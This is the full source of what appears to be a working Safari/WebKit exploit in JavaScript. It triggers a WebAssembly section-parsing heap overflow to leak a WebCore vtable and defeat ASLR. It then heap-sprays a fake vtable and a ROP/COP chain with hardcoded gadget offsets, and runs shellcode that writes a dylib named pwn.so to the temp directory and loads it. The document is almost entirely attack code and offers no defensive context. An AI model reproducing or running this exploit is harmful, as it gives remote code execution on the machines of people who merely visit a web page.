// Info leak of the vtable of a HTMLLinkElement. // HTMLLinkElement is 0xf8; var TARGET_OBJECT_SIZE = 0xf8; // Size of StringImplHeader var SIZE_HEADER_SIZE = 0x18; // Size of strings we are spraying. var TARGET_STRING_SIZE = TARGET_OBJECT_SIZE-SIZE_HEADER_SIZE; // This controls the max value we can write (i.e. 1-500) and thus leak! // This was 1000 before, it works with 1000 too. But bigger memory allocation needed. var TYPE_ARR_LEN = 500; // This needs to be the same size as our target object (4*102 = 408) + 0x18. // Control the size (newCapacity) of the vector we overflow (sizeof(uint32_t) * 12 = 48 byte buffer). We want 0x198 var FUNC_COUNT = TARGET_OBJECT_SIZE / 4; // Info leak overflow // WTF::StringImpl: // 0x2 = m_refcount; // 500 = m_length; - Our new string length value (1000). var OVERWRITE_ARRAY1 = [0x10,500]; var SPRAY_COUNT = 196; var SPRAY_ADDR_HIGH = 0x8; // This overflow is used to control RAX on the vtable call // 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68] // rax = 0x0000000800000008 var OVERWRITE_ARRAY2 = [0x08,SPRAY_ADDR_HIGH]; // offset from base of vtable. // HTMLLinkElement // This needs updating if Safari version changes.. var VTABLE_OFFSET = 0x45e88 // Variable where we store the webcore base in. var webcore_base; function read_dword(leak_string, offset){ var val = 0; for (var i = 0; i < 4; i++){ val += target.charCodeAt(offset + i) << (i*8); } return val; } /* helper function to build strings which have a power-of-two length */ function pow2str(p, b) { var str = String.fromCharCode(b); for (; p; p--){ str += str; } return str; } function uint64(upper,lower) { var s = ''; for (var i = 0; i < 4; i++) { s += String.fromCharCode((lower >> (i*8)) & 0xff); } for (var i = 0; i < 4; i++) { s += String.fromCharCode((upper >> (i*8)) & 0xff); } return s; } function text(offs) { //TODO: proper uint64 addition would be nice :D return uint64(webcore_base[1], (webcore_base[0] + offs)); } function hex(b) { return ('0' + b.toString(16)).substr(-2); } function hexlify(bytes) { var res = []; for (var i =0; i < bytes.length; i++) { res.push(hex(bytes[i])); } return res.join(''); } /* build a string of any length * note the actual malloc’ed size will include the StringImpl header size (24 bytes) */ function alloc(n, b) { var res = ''; for(var i = 0; i < 32; i++){ if(n & 0x1) res += pow2str(i, b); n >>= 1; } /* this will flatten the rope and actually make the allocation */ res[0]; return res; } function alloc_rop(n, b, ropstack) { var res = ropstack; n -= res.length; for(var i = 0; i < 32; i++){ if(n & 0x1) res += pow2str(i, b); n >>= 1; } /* this will flatten the rope and actually make the allocation */ res[0]; return res; } // Convert a number to a variable length array. function to_leb128(num) { ret = []; while (num > 0) { //print("entering loop with num " + num); tmp = num & 0x7f; num >>= 7; if (num > 0) tmp |= 0x80; ret.push("0x" + tmp.toString(16)) } return ret; } // Utility function to generate a unique type.. function generate_type(param_count) { var tmp = []; var form = ['0x60']; tmp = tmp.concat(form); tmp = tmp.concat(to_leb128(param_count)); for (p = 0; p < param_count; p++) tmp = tmp.concat('0x7f'); // Return count (getting cut off..) tmp = tmp.concat('0x1'); tmp = tmp.concat('0x7f'); //print(tmp); return tmp; } // Create the header function create_magic() { // Header bytes magic = ['0x0', '0x61', '0x73', '0x6d']; version = ['0x1', '0x0', '0x0', '0x0']; header = magic.concat(version); return header; } function create_type_section() { var type_id = ['0x1']; // Number of unique types to create. var type_count = to_leb128(TYPE_ARR_LEN); var type_pl = type_count; for (i = 0; i < TYPE_ARR_LEN; i++) { var t = generate_type(i+1); //print(t); type_pl = type_pl.concat(t); } var type_sz = to_leb128(type_pl.length); var type_section = type_id.concat(type_sz).concat(type_pl); //print(type_section); return type_section; } // Used to create our victim buffer we will overflow. function create_valid_function_section() { // Function section (3) var func_id = ['0x3']; var func_count = to_leb128(FUNC_COUNT); var single_func = ["0x1"]; // Just use a valid idx for the first section var func_arr = []; for (i = 0; i < FUNC_COUNT; i++) { func_arr = func_arr.concat(single_func); } var func_size = (FUNC_COUNT) + func_count.length var func_sz = to_leb128(func_size); var func_pl = func_count.concat(func_arr); var func_section = func_id.concat(func_sz).concat(func_pl); //print(func_section); return func_section; } // Return back an invalid section function create_invalid_section() { var inv_id = ['0x6d']; var inv_sz = ['0x2']; var inv_pl = ['0x0', '0x1']; var inv_section = inv_id.concat(inv_sz).concat(inv_pl); return inv_section; } // Used to create our overflow section (must be less than FUNC_COUNT) in order to reuse allocation. // Count = 2 function create_overflow_section(overwrite_array) { var func_id = ['0x3']; var func_count = to_leb128(overwrite_array.length); var func_arr = []; // Construct our overflow array for (var i = 0; i < overwrite_array.length; i++) { var idx = overwrite_array[i]-1; //alert(idx); var single_func = to_leb128(idx); func_arr = func_arr.concat(single_func); } var func_size = overwrite_array.length + func_count.length; var func_sz = to_leb128(func_size); var func_pl = func_count.concat(func_arr); var func_section = func_id.concat(func_sz).concat(func_pl); return func_section; } // Return back an invalid section function create_invalid_section() { var inv_id = ['0x6d']; var inv_sz = ['0x2']; var inv_pl = ['0x0', '0x1']; var inv_section = inv_id.concat(inv_sz).concat(inv_pl); return inv_section; } ///var payload; function create_payload(payload){ console.log("create payload called!"); var header = create_magic(); var type_section = create_type_section(); var valid_func_section = create_valid_function_section(); var invalid_section = create_invalid_section(); var overflow_section1 = create_overflow_section(payload); var payload = header.concat(type_section).concat(valid_func_section).concat(invalid_section).concat(overflow_section1).concat(invalid_section); return payload; } holder = []; function gc2() { var h = []; for (var i = 0; i < 10000; i++) h[i] = alloc(400,0x20); holder.push(h); } var x; function ab_spray(target_addr, ropchain, payload, cop_ptrs) { // Small helper to avoid allocations with .set(), so we don't mess up the heap function set(p, i, a,b,c,d,e,f,g,h) { p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h; } //alert("let's go"); AR_SZ = 0x08000000; var target_p = []; var ropchain_ps = []; var cop_ps = []; for(var i = 0; i < 8; i++) target_p.push(target_addr.charCodeAt(i)); for(var i = 0; i < ropchain.length; i++) { var tmp = []; for(var j = 0; j < 8; j++) tmp.push(ropchain[i].charCodeAt(j)); ropchain_ps.push(tmp); } // TODO this sometimes crashes because *(0x8000000000)==0 -> spray more ptrs! var dylib_start = AR_SZ - Math.ceil(DYLIB_LENGTH/0x1000)*0x1000; function spray(idx) { var res = new Uint8Array(AR_SZ); var dylib_idx = 0; for (var i = 0; i < AR_SZ; i += 0x1000) { var p; if(i >= dylib_start) { for(var j = 0; j < 0x200 && dylib_idx < DYLIB.length; j++,dylib_idx++) { p = DYLIB[dylib_idx]; var idx = i + (j<<3); set(res, idx, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); } } // i % PAGESIZE, spray differnt pattern per page else if(((i >> 12) & 0x3) == 0 || ((i >> 12) & 0x3) == 3) { p = target_p; for(var j = 0; j < 0x1000; j += 8) { set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); } for(var k in cop_ptrs) { j = cop_ptrs[k][0]; p = cop_ptrs[k][1]; set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); } } else if(((i >> 12) & 0x3) == 1) { // ROP PAGE var roplen = ropchain_ps.length << 3; var idx = 0; for(var j = 0; j < roplen; j += 8) { p = ropchain_ps[idx++]; set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); } } else if(((i >> 12) & 0x3) == 2) { // PAYLOAD PAGE for(var j = 0; j < payload.length; j++) res[i+j] = payload.charCodeAt(j); } else { p = target_p; for(var j = 0; j < 0x1000; j += 8) set(res, i+j, p[0],p[1],p[2],p[3], p[4],p[5],p[6],p[7]); } } return res; } // predictably allocates memory at 0x800000000 x = []; for(var i = 0; i < SPRAY_COUNT; i++) x.push(spray(i)); var size_gb = AR_SZ * x.length / 1024 / 1024 / 1024; //alert("done spraying "+x.length+" buffers, total size: "+size_gb+"GB"); return x; } payload1 = create_payload(OVERWRITE_ARRAY1); payload2 = create_payload(OVERWRITE_ARRAY2); // Stage1: Trigger the bug to perform an info leak. var a_elems = []; var b_elems = []; var e_elems = []; var c_elems = []; var d_elems = []; // First spray a pattern. // for (var i = 0; i < 0x1000; i++) { var a = alloc(TARGET_STRING_SIZE, 0x41); // One we free (replace with wasm) var b = alloc(TARGET_STRING_SIZE, 0x42); // Never free this. var e = document.createElement("link"); // Never free this (form element is the same size..) a_elems.push(a); b_elems.push(b); e_elems.push(e); } // Now free some A elements, so it should end up in one of these slots... // for (var i = 0; i < a_elems.length; i++) { //delete(a_elems[i]); a_elems[i] = null; } for (var i = 0; i < a_elems.length; i++) { delete(a_elems[i]); //c_elems[i] = null; } // Trigger some GCs for (var i = 0; i < 4; i++) gc2(); // Try trigger a few times by getting the wasm in the A slots.. // Not sure why we need to do it twice :), but it makes its way more reliable that we hit corruption first time round. // try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { }; try { module = new WebAssembly.Module(new Uint8Array(payload1)) } catch (e) { }; var corr_idx = -1; for (var i = 0; i < b_elems.length; i++) { if (b_elems[i]) { // We use slice(0) to force an update of the .length cached property - just reading it fails str = b_elems[i].slice(0); if (str.length != TARGET_STRING_SIZE) { //alert("Corruption size = " + str.length + " at index " + i); corr_idx = i; } } } // If there has been corruption dump the bytes after the buffer. if (corr_idx != -1) { //document.write(keep[corr_idx]); var target = b_elems[corr_idx].slice(0); //document.write(target); // Try dump the pointers var vtable_ptr = -1; var leaked_ptr_lower = read_dword(target,TARGET_STRING_SIZE); var leaked_ptr_higher = read_dword(target,TARGET_STRING_SIZE+4); if (leaked_ptr_higher != 0x7fff) { // False positive - go again. document.location.reload(); } var value = ((leaked_ptr_lower) >>> 0).toString(16); document.writeln("Vtable lower " + value + "
"); var value = ((leaked_ptr_higher) >>> 0).toString(16); document.writeln("Vtable upper " + value+ "
"); // Try calculate the DATA section base from the vtable.. // Note: static offset of vtable here.. // Was previously 0x4ecf0e88 var data_base_lower = leaked_ptr_lower - VTABLE_OFFSET; var data_base_higher = leaked_ptr_higher; var data_base_lower_hex = ((data_base_lower) >>> 0).toString(16); var data_base_upper_hex = ((data_base_higher) >>> 0).toString(16); document.writeln("WebCore __DATA section base lower " + data_base_lower_hex + "
"); document.writeln("WebCore __DATA section base upper " + data_base_upper_hex + "
"); // For some reason the TEXT section is always 0x4ecb8000 before the data section on 10.13.3. // Therefore remove this from the lower. text_base_lower = data_base_lower - 0x4ecb8000; text_base_higher = data_base_higher; // Both will be the same. text_base_lower_hex = ((text_base_lower) >>> 0).toString(16); text_base_upper_hex = ((text_base_higher) >>> 0).toString(16); document.writeln("WebCore __TEXT section base lower " + text_base_lower_hex + "
"); document.writeln("WebCore __TEXT section base upper " + text_base_upper_hex + "
"); // 42d8bfff for (var i = 0; i < target.length; i+=4) { var leaked_ptr_lower = read_dword(target, TARGET_STRING_SIZE + i); // Convert it to hex. var value = ((leaked_ptr_lower) >>> 0).toString(16); document.writeln(value); } } else { // Heap didn't lay out like we want it - try again! // We cannot continue unless we have the TEXT base :( document.location.reload(); } webcore_base = [text_base_lower,text_base_higher]; // Stage 2.. Do our heap spray so we have a fake vtable at the correct address.. // 0x7fff39b56ce5 <+21>: call qword ptr [rax + 0x68] // At crash time rax = 0x0000000800000008 //alert("Stage 2: Spraying fake vtable at "+SPRAY_ADDR_HIGH+"00000000"); // Fixed offsets /* surgical_cop // Call Oriented Programming - rdi contains addrof(this), so our spray will be nearby. - we spray a retsled + ropchain-stub, so let's point rsp there 0x12df3b // add rdi, 0xd8; call [rax+0x10] 0x138d7f // add rdi, 0x60; call qword ptr [rax + 0x40]; 0x19a688 // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8]; 0x16ecd9 // mov rdx, r14; call qword ptr [rax + 0x18]; 0xdeb12b // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; */ var sigtrap = text(0xa576); // 0xcc int3 var cop__add_rdi_0xd8 = text(0x12df3b); // add rdi, 0xd8; mov esi, 1; call qword ptr [rax + 0x10]; var rop_stack_pivot = text(0xdeb12b); // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; var pop_rdx__ret = text(0x4b4a2); // pop rdx; ret; var pop_rsp__ret = text(0xb369); // pop rsp; ret; // this is allocated at 0x20000000, but rax points 8 bytes in // => low dword of rax will be 8, therefore add 8 to every offset: var cop_ptrs = { 0x10: text(0x16ecd9), // mov rdx, r14; call qword ptr [rax + 0x18]; 0x18: text(0x138d7f), // add rdi, 0x60; call qword ptr [rax + 0x40]; 0x20: rop_stack_pivot, // push rdx; pop rsp; add byte ptr [rax - 0x77], cl; ret; 0x48: text(0x19a688), // mov r14, rdi; mov rdi, r15; call qword ptr [rax + 0x8]; // transfers control to ropstub } for(var k in cop_ptrs) { var tmp = []; for(var j = 0; j < 8; j++) tmp.push(cop_ptrs[k].charCodeAt(j)); cop_ptrs[k] = [parseInt(k), tmp]; } //alert("spraying "+(l.concat(h))); var ropstub = [ pop_rdx__ret, uint64(SPRAY_ADDR_HIGH, 0x0001000), rop_stack_pivot ]; var pop_rax__ret = text(0xb2ce); // pop rax; ret var pop_rcx__ret = text(0x9b396); // pop rcx; ret; var pop_rsi__ret = text(0x3f37e); // pop rsi; ret; var pop_rdi__ret = text(0x1f31cd);// pop rdi; ret var rop__ret = text(0x1f31cd + 1);// ret var jmp_rax = text(0x2c1e); // jmp rax; var mov_ptr_rdi_rax__ret = text(0x44568); // mov qword ptr [rdi], rax; ret; var mov_rdi_rax__pop_rbp__ret = text(0x5e9bf); // mov rdi, rax; mov rax, rdi; pop rbp; ret; var dlopen = text(0x13b158a); // dlopen stub, otool -arch x86_64 -IV var dlsym = text(0x13b1590); // dlsym stub // more stubs, needed in payload var strdup = text(0x13b1c6e); var open = text(0x13b1ad0); var write = text(0x13b1eea); var usleep = text(0x13b1e3c); var JUNK = uint64(0xdeadbeef, 0x0badc0de); var ropchain = [ rop__ret, rop__ret, rop__ret, // write "/usr/lib/libc.dylib" to 0x200001f00 pop_rax__ret, "/usr/lib", pop_rdi__ret, uint64(SPRAY_ADDR_HIGH, 0x00001f00), // 0-memory mov_ptr_rdi_rax__ret, pop_rax__ret, "/libc.dy", pop_rdi__ret, uint64(SPRAY_ADDR_HIGH, 0x00001f08), mov_ptr_rdi_rax__ret, pop_rax__ret, "lib" + "\x00".repeat(5), pop_rdi__ret, uint64(SPRAY_ADDR_HIGH, 0x00001f10), mov_ptr_rdi_rax__ret, rop__ret, // write "mprotect" to 0x200001f20 pop_rax__ret, "mprotect", pop_rdi__ret, uint64(SPRAY_ADDR_HIGH, 0x00001f20), // 0-memory mov_ptr_rdi_rax__ret, // dlopen("libc.dylib", RTLD_NOW); pop_rdi__ret, uint64(SPRAY_ADDR_HIGH, 0x00001f00), // "libc.dylib" pop_rsi__ret, uint64(0x0, 0x2), // RTLD_NOW dlopen, // dlsym(LIBC_HANDLE, "mprotect") mov_rdi_rax__pop_rbp__ret, // move handle to rdi JUNK, pop_rsi__ret, uint64(SPRAY_ADDR_HIGH, 0x00001f20), // "mprotect" dlsym, // mprotect(0x200002000, 0x1000, PROT_READ|PROT_EXEC); pop_rdi__ret, uint64(SPRAY_ADDR_HIGH, 0x00002000), // payload addr pop_rsi__ret, uint64(0x0, 0x1000), // page size pop_rdx__ret, uint64(0x0, 0x5), // PROT_READ|PROT_EXEC jmp_rax, uint64(SPRAY_ADDR_HIGH, 0x00002000), // RET 2 SHELLCODE!! sigtrap, JUNK ]; var SC = ""; // "\xcc"; // LIBC = dlopen("libc.dylib", RTLD_NOW) SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f00); // mov rdi, &"libc.dylib" SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2 SC += "\x48\xb8" + dlopen; // mov rax, dlopen SC += "\xff\xd0"; // call rax SC += "\x48\x89\xc5"; // mov rbp, rax // dlsym(LIBC, "getenv") SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f30); // mov rsi, &"getenv" SC += "\x48\xbb" + "getenv\x00\x00"; // mov rbx, "getenv" SC += "\x48\x89\x1e"; // mov [rsi], rbx SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle SC += "\x48\xb8" + dlsym; // mov rax, dlsym SC += "\xff\xd0"; // call rax // getenv("TMPDIR") SC += "\x48\xbf" + uint64(SPRAY_ADDR_HIGH, 0x1f40); // mov rdi, &"TMPDIR" SC += "\x48\xbb" + "TMPDIR\x00\x00"; // mov rbx, "TMPDIR" SC += "\x48\x89\x1f"; // mov [rdi], rbx SC += "\xff\xd0"; // call rax // strdup($TMPDIR) and save in r12 SC += "\x48\x89\xc7"; // mov rdi, rax SC += "\x48\xb8" + strdup; // mov rax, strdup SC += "\xff\xd0"; // call rax SC += "\x49\x89\xc4"; // mov r12, rax // dlsym(LIBC, "strcat") SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f50); // mov rsi, &"strcat" SC += "\x48\xbb" + "strcat\x00\x00"; // mov rbx, "strcat" SC += "\x48\x89\x1e"; // mov [rsi], rbx SC += "\x48\x89\xef"; // mov rdi, rbp ; libc handle SC += "\x48\xb8" + dlsym; // mov rax, dlsym SC += "\xff\xd0"; // call rax // strcat($TMPDIR, "pwn.so") SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1f60); // mov rsi, &"pwn.so" SC += "\x48\xbb" + "pwn.so\x00\x00"; // mov rbx, "pwn.so" SC += "\x48\x89\x1e"; // mov [rsi], rbx SC += "\x4c\x89\xe7"; // mov rdi, r12 SC += "\xff\xd0"; // call rax // open(libpath, O_CREAT|O_RDWR, 0755) SC += "\x4c\x89\xe7"; // mov rdi, r12 SC += "\x48\xbe" + uint64(0x0, 0x202) // mov rsi, 0x202 SC += "\x48\xba" + uint64(0x0, 0755) // mov rdx, 0755 SC += "\x48\xb8" + open; // mov rax, open SC += "\xff\xd0"; // call rax SC += "\x49\x89\xc5"; // mov r13, rax // find dylib in memory by looking for 0xfeedfacf-magic SC += "\xbb\x00\x00\xed\xfe"; // mov ebx, 0xfeed0000 SC += "\x66\xbb\xcf\xfa"; // mov bx, 0xfacf SC += "\x48\xbe" + uint64(SPRAY_ADDR_HIGH, 0x1000); // mov rsi, end of payload - 0x1000 SC += "\x48\x81\xc6\x00\x10\x00\x00"; // [LOOP] add rsi, 0x1000 SC += "\x8b\x0e"; // mov ecx, [rsi] SC += "\x39\xcb"; // cmp ebx, ecx SC += "\x75\xf3"; // jne -11 [/LOOP] // write(fd, &dylib, sizeof(dylib)) SC += "\x48\xba" + uint64(0x0, DYLIB_LENGTH); // mov rdx, sizeof(dylib) SC += "\x4c\x89\xef"; // mov rdi, r13 SC += "\x48\xb8" + write; // mov rax, write SC += "\xff\xd0"; // call rax // dlopen("pwn.so", RTLD_NOW) SC += "\x4c\x89\xe7"; // mov rdi, r12 SC += "\x48\xc7\xc6" + "\x02\x00\x00\x00"; // mov rsi, 0x2 SC += "\x48\xb8" + dlopen; // mov rax, dlopen SC += "\xff\xd0"; // call rax // usleep(0xffffffff) //SC += "\x48\xbf" + uint64(0, 0xffffffff); // mov rdi, 0xffffffff //SC += "\x48\xb8" + usleep; // mov rax, usleep //SC += "\xff\xd0"; // call rax // in case that wasn't enough, loop forever :) SC += "\xeb\xfe"; // jmp 0 var RET_SLED_LEN = 20; window.STUB_OFFSET = 0; // adjust for stack-pivot // remember: maxlen = 0xf0 = 240 = 30 chain elements var ropstub_str = ''; for(var i = 0; i < RET_SLED_LEN; i++) ropstub_str += rop__ret; for(var i = 0; i < ropstub.length; i++) ropstub_str += ropstub[i]; // Stage 3.. Now try trigger the bug // In the previous step we sprayed a fake vtable.. // We redirect execution to this via this vtable call. //alert("Stage 3 (attach debugger): Triggering bug with text base 0x" + text_base_upper_hex + text_base_lower_hex); var a_elems = []; var b_elems = []; var e_elems = []; var c_elems = []; var d_elems = []; var spray_buffers; function spray_maybe() { if(!spray_buffers) spray_buffers = ab_spray(cop__add_rdi_0xd8, ropchain, SC, cop_ptrs); return spray_buffers; } function stage3() { for (var i = 0; i < 0x0a000; i++) { var a = alloc_rop(TARGET_STRING_SIZE, 0x43, ropstub_str); var b = alloc_rop(TARGET_STRING_SIZE, 0x44, ropstub_str); // Free this one var e = document.createElement("link"); //var c = alloc_rop(TARGET_STRING_SIZE, 0x45, ropstub_str); a_elems.push(a); b_elems.push(b); e_elems.push(e); //c_elems.push(c); } for (var i = 0; i < b_elems.length; i++) { b_elems[i] = null; } for (var i = 0; i < b_elems.length; i++) { delete(b_elems[i]); } // Trigger some GCs for (var i = 0; i < 4; i++) gc2(); spray_maybe(); // Trigger the vtable overwrite a few times and redirect execution.. for (var i = 0; i < 3; i++) { try { module = new WebAssembly.Module(new Uint8Array(payload2)) } catch (e) { }; } for(var i = 0; i < e_elems.length; i++) { e_elems[i].focus(); } } for(var i = 0; i < 10; i++) stage3(); // This is needed to trigger the vtable call =) window.location.reload();